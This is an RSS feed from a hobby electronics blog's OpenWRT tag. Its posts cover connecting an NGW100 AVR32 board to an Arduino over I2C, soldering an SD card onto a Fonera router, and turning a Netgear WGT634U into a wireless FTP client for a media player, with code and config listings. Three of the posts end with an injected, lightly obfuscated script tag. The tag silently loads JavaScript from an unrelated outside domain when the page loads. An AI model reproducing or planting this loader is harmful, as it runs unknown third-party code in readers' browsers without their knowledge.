<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; openwrt</title>
	<atom:link href="http://www.larsen-b.com/tags/openwrt/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Connect NGW100 Linux (AVR32) to Arduino with I2C</title>
		<link>http://www.larsen-b.com/Article/398.html</link>
		<comments>http://www.larsen-b.com/Article/398.html#comments</comments>
		<pubDate>Sun, 08 Jan 2012 01:39:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[arduino]]></category>
		<category><![CDATA[I2C]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[openwrt]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=398</guid>
		<description><![CDATA[For a Linux embedded training, I need to find something fun to plug on an AVR32 board. The board used for the training is a NGW100 board. I decided to try to use the I2C bus. I have several I2C &#8230; <a href="http://www.larsen-b.com/Article/398.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>For a Linux embedded training, I need to find something fun to plug on an AVR32 board. The board used for the training is a <a href="http://www.atmel.com/dyn/products/tools_card.asp?tool_id=4102">NGW100</a> board. I decided to try to use the <a href="http://en.wikipedia.org/wiki/I%C2%B2C">I2C</a> bus. I have several I2C stuff on the desk, but nothing really fun and I don&#8217;t want to solder a lot of stuff, and spend a lot of time on this. I decided to use a Arduino board as a I2C slave device and plug this to the NGW100 board.</p>
<p><strong>First step: S</strong>imply use the Arduino IDE and the <a href="http://arduino.cc/en/Reference/Wire">Wire lib</a>. I use an <a href="http://www.seeedstudio.com/blog/tag/seeeduino/">Seeeduino</a> because I need an Arduino that works at 3.3v level. Here the code :</p>
<pre><span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;Wire.h&gt;</span></strong></span>
<strong>void</strong> <span style="color: #2040a0;">setup</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{</strong></span>
  <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">begin</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">4</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>                <span style="color: #444444;">// join i2c bus with address #4</span>
  <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">onReceive</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">receiveEvent</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span> <span style="color: #444444;">// register event</span>
  <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">onRequest</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">requestEvent</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span> <span style="color: #444444;">// register event</span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">begin</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">38400</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>           <span style="color: #444444;">// start serial for output</span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">println</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Boot Ok"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<span style="color: #4444ff;"><strong>}</strong></span>

<strong>void</strong> <span style="color: #2040a0;">loop</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{ </strong></span><span style="color: #2040a0;">delay</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">100</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span><span style="color: #4444ff;"> </span><span style="color: #4444ff;"><strong>}</strong></span>

<strong>void</strong> <span style="color: #2040a0;">receiveEvent</span><span style="color: #4444ff;">(</span><strong>int</strong> <span style="color: #2040a0;">howMany</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{</strong></span>
  <strong>char</strong> <span style="color: #2040a0;">c</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">NULL</span><span style="color: #4444ff;">;</span>
  <strong>while</strong><span style="color: #4444ff;">(</span><span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">available</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">)</span> <span style="color: #444444;">// loop through all</span>
  <span style="color: #4444ff;"><strong>{</strong></span>
    <span style="color: #2040a0;">c</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">receive</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span> <span style="color: #444444;">// receive byte as a character</span>
    <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">print</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">c</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>         <span style="color: #444444;">// print the character</span>
  <span style="color: #4444ff;"><strong>}</strong></span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">println</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">println</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"==="</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<span style="color: #4444ff;"><strong>}</strong></span>

<strong>void</strong> <span style="color: #2040a0;">requestEvent</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{</strong></span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">println</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"read"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
  <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">send</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Hello world from Arduino"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<span style="color: #4444ff;"><strong>}</strong></span></pre>
<p>To test the Arduino I used a <a href="http://dangerousprototypes.com/docs/Bus_Pirate">Bus Pirate</a>, this is quite simple and fun, here a little snipset of my initial test with the BP (note the string are different). The I2C slave is at the 0&#215;4 address (check the setup()).</p>
<pre>Searching I2C address space. Found devices at:
0x08(0x04 W) 0x09(0x04 R) 

Read content from the device, 'ABCD'
I2C&gt;[0x09 rrrrrr]
I2C START BIT
WRITE: 0x09 ACK
READ: 0x41
READ:  ACK 0x42
READ:  ACK 0x43
READ:  ACK 0x44
READ:  ACK 0xFF
READ:  ACK 0xFF
NACK
I2C STOP BIT
I2C&gt;

send content to the device 'ABC'
I2C&gt;[0x08 0x41 0x42 0x43]
I2C START BIT
WRITE: 0x08 ACK
WRITE: 0x41 ACK
WRITE: 0x42 ACK
WRITE: 0x43 ACK
I2C STOP BIT</pre>
<p><strong>Second step: </strong> Plug the Arduino to the NGW100. I used the wrapping technique. Simply connect SDA, SCL, and GND. (NGW100 pinouts : SDA=&gt;9, SCL=&gt;10, GND=&gt;2)</p>
<p><img style="border: 0px initial initial;" title="NGW100-AVR32 to Arduino" src="http://jkx.larsen-b.com/photos/blog/2012_01_05_13_57_32_001.sized.jpg" alt="" width="640" height="480" /></p>
<p>On Linux, load the I2C-GPIO kernel module. On <a href="http://openwrt.org">OpenWRT</a> (used on the NGW100), simply load the <strong>kmod</strong>-<strong>i2c-gpio</strong> package.</p>
<p><strong>Final step:</strong> If everything is Ok, we can now test the communication. I used a small piece of C code to deal with I2C on Linux.</p>
<pre><span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;string.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;stdio.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;stdlib.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;linux/i2c-dev.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;sys/ioctl.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;fcntl.h&gt;</span></strong></span>

<strong>void</strong> <span style="color: #2040a0;">i2c_run</span><span style="color: #4444ff;">(</span><strong>void</strong><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
    <strong>int</strong> <span style="color: #2040a0;">file</span><span style="color: #4444ff;">;</span>
    <strong>char</strong> <span style="color: #2040a0;">filename</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">40</span><span style="color: #4444ff;">]</span><span style="color: #4444ff;">;</span>
    <strong>int</strong> <span style="color: #2040a0;">addr</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">0x4</span><span style="color: #4444ff;">;</span>
    <strong>char</strong> <span style="color: #2040a0;">buf</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">32</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span> <span style="color: #4444ff;"><strong>{</strong></span><span style="color: #ff0000;">0</span><span style="color: #4444ff;"><strong>}</strong></span><span style="color: #4444ff;">;</span>
    <strong>int</strong> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">;</span>

    <span style="color: #2040a0;">sprintf</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">filename</span>,<span style="color: #008000;">"/dev/i2c-0"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">file</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">open</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">filename</span>,<span style="color: #2040a0;">O_RDWR</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">&lt;</span> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
        <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Failed to open the bus."</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
        <span style="color: #2040a0;">exit</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span>

    <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">ioctl</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">file</span>,<span style="color: #2040a0;">I2C_SLAVE</span>,<span style="color: #2040a0;">addr</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">&lt;</span> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
        <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Failed to acquire bus access and/or talk to slave.<span style="color: #77dd77;">\n</span>"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
        <span style="color: #2040a0;">exit</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span>

    <span style="color: #2040a0;">i</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">24</span><span style="color: #4444ff;">;</span>
    // <span style="color: #2040a0;">read</span> <span style="color: #2040a0;">I2C</span>
    <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">read</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">file</span>,<span style="color: #2040a0;">buf</span>,<span style="color: #2040a0;">i</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">!</span><span style="color: #4444ff;">=</span> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
      <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Failed to read from the i2c bus.<span style="color: #77dd77;">\n</span>"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span> <strong>else</strong> <span style="color: #4444ff;"><strong>{</strong></span>
      <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Read %d bytes from I2C: [%s]<span style="color: #77dd77;">\n</span>"</span>,<span style="color: #2040a0;">i</span>,<span style="color: #2040a0;">buf</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span>

    <span style="color: #2040a0;">sprintf</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">buf</span>,<span style="color: #008000;">"IC2 from Linux to Arduino"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #2040a0;">i</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">strlen</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">buf</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">write</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">file</span>,<span style="color: #2040a0;">buf</span>,<span style="color: #2040a0;">i</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">!</span><span style="color: #4444ff;">=</span> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
        <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Failed to write to the i2c bus.<span style="color: #77dd77;">\n</span>"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span> <strong>else</strong> <span style="color: #4444ff;"><strong>{</strong></span>
      <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Sent %d bytes to I2C: [%s]<span style="color: #77dd77;">\n</span>"</span>,<span style="color: #2040a0;">i</span>,<span style="color: #2040a0;">buf</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span>
<span style="color: #4444ff;"><strong>}</strong></span>

<strong>int</strong> <span style="color: #2040a0;">main</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{</strong></span>
  <span style="color: #2040a0;">i2c_run</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
  <strong>return</strong> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">;</span>
<span style="color: #4444ff;"><strong>}</strong></span></pre>
<p>As you can see this code is a bit rude, but works really well : Read the I2C bus, and send a sample string, a proof ? :)</p>
<p><img style="border: 0px initial initial;" title="openWRT I2C" src="http://jkx.larsen-b.com/photos/blog/openWRT_I2C_001.jpg" alt="" width="690" height="440" /></p>
<p>Of course, I used string values but in real life a small protocol shoud be used. Another important thing: I used a NGW100 but you can use the same idea on all Linux embedded board like the Fonera, or anything else.</p>
<p><strong>Update:</strong> Of course you can use the <a href="http://lm-sensors.org/wiki/I2CTools">i2c-tools</a> on Linux to detect your own device. To do that : Grab the i2c-tools source, and cross compile it for the AVR32. (You only have to change the CC path in the Makefile).</p>
<p><strong>/Enjoy small Linux</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/398.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fonera SD Card Hack</title>
		<link>http://www.larsen-b.com/Article/262.html</link>
		<comments>http://www.larsen-b.com/Article/262.html#comments</comments>
		<pubDate>Fri, 18 May 2007 17:22:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[fonera]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I read on several websites, that some people managed to wire a SD Card (or a MMC) to a Fonera access point. After a little googling, I discover this can be done easily, so I decided to test.. but I &#8230; <a href="http://www.larsen-b.com/Article/262.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I read on several websites, that some people managed to wire a SD Card (or a MMC) to a Fonera access point. After a little googling, I discover this can be done easily, so I decided to test.. but I run into one issue so I decided to describe the process here.</p>
<p>Here the finished result:</p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02577.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02577.sized.jpg" /></p>
<p>Let&#8217;s give it a try:</p>
<div class="section">
<h1><a id="solder-the-sd-card" name="solder-the-sd-card">Solder the SD Card</a></h1>
<p>The first step, is to locate the SW pins (near the antenna).. simply solder some wires like this:</p>
<pre class="literal-block">SD Car      -----    Fonera
DO  (pin 7)          SW1
CLK (pin 5)          SW2
DI  (pin 2)          SW5
CS  (pin 1)          SW6
Gnd (pin 3)          Gnd
Vcc (pin 4)          Vcc</pre>
<p>Here you can see the <a class="reference" href="http://pinouts.ru/Memory/sdcard_pinout.shtml">SD Card pinouts</a></p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02584_2.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02584_2.sized.jpg" /></p>
<p>You can solder the VCC, and Gnd on the serial pins.</p>
</div>
<div class="section">
<h1><a id="unsolder-the-caps" name="unsolder-the-caps">Unsolder the Caps</a></h1>
<p>In my first tests, I discovered the SD card is detected, so I checked the signals. And discover the clk isn&#8217;t really clear.. So I decided to remove the capacitor on the SPI bus. (C142, C143, C144, C145)</p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02582.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02582.sized.jpg" /></p>
</div>
<div class="section">
<h1><a id="install-software-and-test" name="install-software-and-test">Install software and test</a></h1>
<p>Next we need to install the kernel module on OpenWRT. You can find it on the <a class="reference" href="http://phrozen.org/fonera.html">Phrozen</a> website . Simply ipkg install the file and it should be ok. Now, let&#8217;s try: insert a SD Card, and reboot, you should see something like this in your log.</p>
<pre class="literal-block">Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : MMC Driver for Fonera Version 2.5 (050507) -- '2B|!2B' (john@phrozen.org)
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : Card Found
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : card in op mode
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : SIZE : 241, nMUL : 6, COUNT : 1932, NAME : 256MB
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : Card Initialised
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : The inserted card has a capacity of 253231104 Bytes
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : adding disk
Jan  1 00:00:49 OpenWrt user.info kernel:  mmc1
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : Card was Found</pre>
<p>So now you can mount it:</p>
<pre class="literal-block">mount /dev/mmc0 /mnt</pre>
<p>This stuff, is working really well, I managed to have around 150Ko/s (reading) which is far enough for my needs. The only issue right now, is that you need to carefully umount the card before removing it, otherwise the fonera will crash.</p>
<p><strong>Enjoy Fonera ??</strong></p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/262.html/feed</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>Media Player (Dvico 3100) + Netgear WGT634U = Cheap Wifi Media Player</title>
		<link>http://www.larsen-b.com/Article/258.html</link>
		<comments>http://www.larsen-b.com/Article/258.html#comments</comments>
		<pubDate>Thu, 05 Apr 2007 21:10:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[dvico]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[rs232]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[This year, for my birthday I have a very nice Media Player M3100. This stuff is really usefull, no need to use a noisy computer to watch recorded Divx. It&#8217;s pretty kool to watch films from beds you know.. The &#8230; <a href="http://www.larsen-b.com/Article/258.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>This year, for my birthday I have a very nice Media Player <a class="reference" href="http://www.tvix.co.kr/eng/Products/M3100U.aspx">M3100</a>. This stuff is really usefull, no need to use a noisy computer to watch recorded Divx. It&#8217;s pretty kool to watch films from beds you know..</p>
<p>The only issue: I need to take it back to my computer when I want to upload a new film, that&#8217;s it .. When I first received this gift, I went back to the shop to exchange it against a networked one. But 1) they cost a lot more money, 2) not available at the shop. (even if it&#8217;s a really big one).</p>
<p>Last week, somebody sent me a mail. He found some cheap wireless access point with a USB port: Netgear <a class="reference" href="http://kbserver.netgear.com/products/WGT634U.asp">WGT634U</a>. (50Euro) Hum, ok let&#8217;s give it a try. First test, plug a Media Player to this USB port&#8230; ok It&#8217;s working fine. But you know, I don&#8217;t have a network cable near my bed, so I decided to transform the Access Point in a Wireless client. By this way, I can simply plug the Media Player on the WGT634U and remotely put some Divx via FTP, without any wire.</p>
<div id="step-1-install-openwrt" class="section">
<h1><a name="step-1-install-openwrt">Step 1 / Install OpenWRT</a></h1>
<p>The default firmware on the WGT634 doesn&#8217;t support wireless client mode (It&#8217;s a AP). So I switched it to <a class="reference" href="http://wiki.openwrt.org/OpenWrtDocs/Hardware/Netgear/WGT634U">OpenWRT</a> Kamikaze. I build the firmware from source, but the kamikaze snapshot shoud work too. I followed the OpenWRT guide step by step with a external serial plug. You can find the complete howto for the serial connection <a class="reference" href="http://members.shaw.ca/swstuff/wgt634u.html">here</a></p>
<pre class="literal-block"># hit Ctrl-C on the bootloader
CFE&gt; ifconfig eth0 -auto
CFE&gt; flash -noheader tftp_host:openwrt-wgt634u.bin flash0.os
CFE&gt; reboot</pre>
<p>The first boot is a bit long, but all is fine&#8230;</p>
</div>
<div id="step-2-install-tools" class="section">
<h1><a name="step-2-install-tools">Step 2  / Install tools</a></h1>
<p>Here the short list of needed tools:</p>
<ul class="simple">
<li>kmod-usb2</li>
<li>kmod-usb-storage</li>
<li>kmod-vfat</li>
<li>kmod-nls-base, kmod-nls-cp437, kmod-nls-iso8859-1</li>
<li>pure-ftpd</li>
</ul>
<p>with a simple ipkg install via the serial console</p>
</div>
<div id="step-3-configure-openwrt-in-wireless-client" class="section">
<h1><a name="step-3-configure-openwrt-in-wireless-client">Step 3 / Configure OpenWRT in wireless client</a></h1>
<p>This is really simple in kamikaze, only change some files:</p>
<p>The wireless config file need to be tweaked, as I want it to join my MyDummySSID network</p>
<p><em>/etc/config/wireless</em></p>
<pre class="literal-block">config wifi-iface
option device   wifi0
option network  lan
option mode     sta
option ssid     MyDummySSID
option hidden   0
option encryption none</pre>
<p>Let&#8217;s go for the network config: MyDummySSID Access Point is 192.168.3.0/24, gateway in 3.1 and local DNS server is 1.254</p>
<p><em>/etc/config/network</em></p>
<pre class="literal-block">#### LAN configuration
config interface lan
option type     bridge
option ifname   "eth0.0"
option proto    'static'
option ipaddr   '192.168.3.2'
option netmask  '255.255.255.0'
option gateway  '192.168.3.1'
option dns      '192.168.1.254'</pre>
<p>First test: <em>ifdown wan</em> (switch off network) / <em>ifdown br-lan</em> / <em>ifup br-lan</em></p>
</div>
<div id="step-4-firewall" class="section">
<h1><a name="step-4-firewall">Step 4 / Firewall</a></h1>
<p>Ok that&#8217;s fine, but I want to restrict the access to my local network only.. so I need to hack the firewall a little to avoid remote access from other wireless clients (my wireless network is open you know..). Simply linked this little script in /etc/rc.d/</p>
<p><em>/opt/ftp-firewall</em></p>
<pre class="literal-block">#!/bin/sh

# clear all firewall rules
for T in filter nat mangle ; do
iptables -t $T -F
iptables -t $T -X
done

# drop incomming packet
iptables -P FORWARD ACCEPT
iptables -P OUTPUT  ACCEPT
iptables -P INPUT   DROP

# accept traffic on localhost
iptables -A INPUT -p tcp -i lo -j ACCEPT
iptables -A INPUT -p udp -i lo -j ACCEPT

# accept ftp only from my home network
iptables -A INPUT -s 192.168.1.0/24 -p tcp -i br-lan --dport 21 -j ACCEPT

# accept incoming http / ssh
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# finaly accept already open Cnx
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT</pre>
</div>
<div id="step-5-misc" class="section">
<h1><a name="step-5-misc">Step 5 / Misc</a></h1>
<p>After some tests, I discover that I need a way to know if the WGT634U managed to join the wireless network or no. So I added this little script, that check for the wireless BSSID, and turn the power led in yellow if something goes wrong .. this is really usefull in fact.</p>
<p><em>/opt/led-daemon</em></p>
<pre class="literal-block">#!/bin/sh

while true
do
{
STATE=$(iwconfig ath0 |grep  00:13:13:53:DA:D1 | wc -l)
[ $STATE -eq 1 ] &amp;&amp; echo 0 &gt; /proc/diag/led/power
[ $STATE -eq 0 ] &amp;&amp; echo 1 &gt; /proc/diag/led/power
sleep 20
}
done</pre>
<p>Foo</p>
</div>
<div id="step-6-finally" class="section">
<h1><a name="step-6-finally">Step 6 / Finally</a></h1>
<p>Here the result:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02573.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02573.sized.jpg" /></div>
<p>The finished product (grrr) works really fine and managed to achieve something like 850Ko/sec, I mean full speed ;) (11Mbs network) I need to remove the serial port right now, and close the box..</p>
<p><strong>Important update</strong></p>
<p>I read on Engadget that I use this to stream video to my TV, (like the Apple TV do), but this is absolutely wrong. This media player has a <strong>320Go hard-drive</strong>. Why would stream film on this ? I just put it on that&#8217;s it :)</p>
<p>This is really amazing how people doesn&#8217;t read the article to see what I&#8217;ve done. It&#8217;s not the first time this happen in fact.</p>
<p>Here in France, most advanded users have some network TV from a long time, and this little boxes can play network stream (like the Apple TV) for a long time now. Beside you don&#8217;t pay for this service (rent for the boxes are included in DSL bill), the only issue is that you must have another computer to stream.</p>
<p>I guess nobody here (in France) would by a Apple TV, since we already have this kind of products for free for a long time. Look at a <a class="reference" href="http://fr.wikipedia.org/wiki/Freebox">Freebox</a> for example.</p>
<p><strong>It&#8217;s time to watch a film :)</strong></p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/258.html/feed</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Fonera motherboard pics, and more</title>
		<link>http://www.larsen-b.com/Article/251.html</link>
		<comments>http://www.larsen-b.com/Article/251.html#comments</comments>
		<pubDate>Sun, 07 Jan 2007 21:41:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[fonera]]></category>
		<category><![CDATA[openwrt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Here some photos (hi-res) of the Fonera, the Fon routeur. This little box has: 8Mo Atheros CPU + Wifi Here you can see the AR2315 CPU from Atheros. One stuff really funny, they decide to use exactly the same layout &#8230; <a href="http://www.larsen-b.com/Article/251.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Here some photos (hi-res) of the Fonera, the <a class="reference" href="http://www.fon.com/">Fon</a> routeur. This little box has:</p>
<ul class="simple">
<li>8Mo</li>
<li>Atheros CPU + Wifi</li>
</ul>
<p>Here you can see the <a class="reference" href="http://www.atheros.com/pt/AR5006AP-G.htm">AR2315</a> CPU from Atheros. One stuff really funny, they decide to use exactly the same layout as the Atheros design (look at the pic closely). You can see the 16Mb Ram on the left. Just near the serial port, and the 14 pins header is a JTag. We can see the antenna, the network plug, and the power supply on the left.</p>
<p>You can find hi-res pics <a class="reference" href="http://jkx.larsen-b.com/gallery/Electronic/DSC02545">here</a></p>
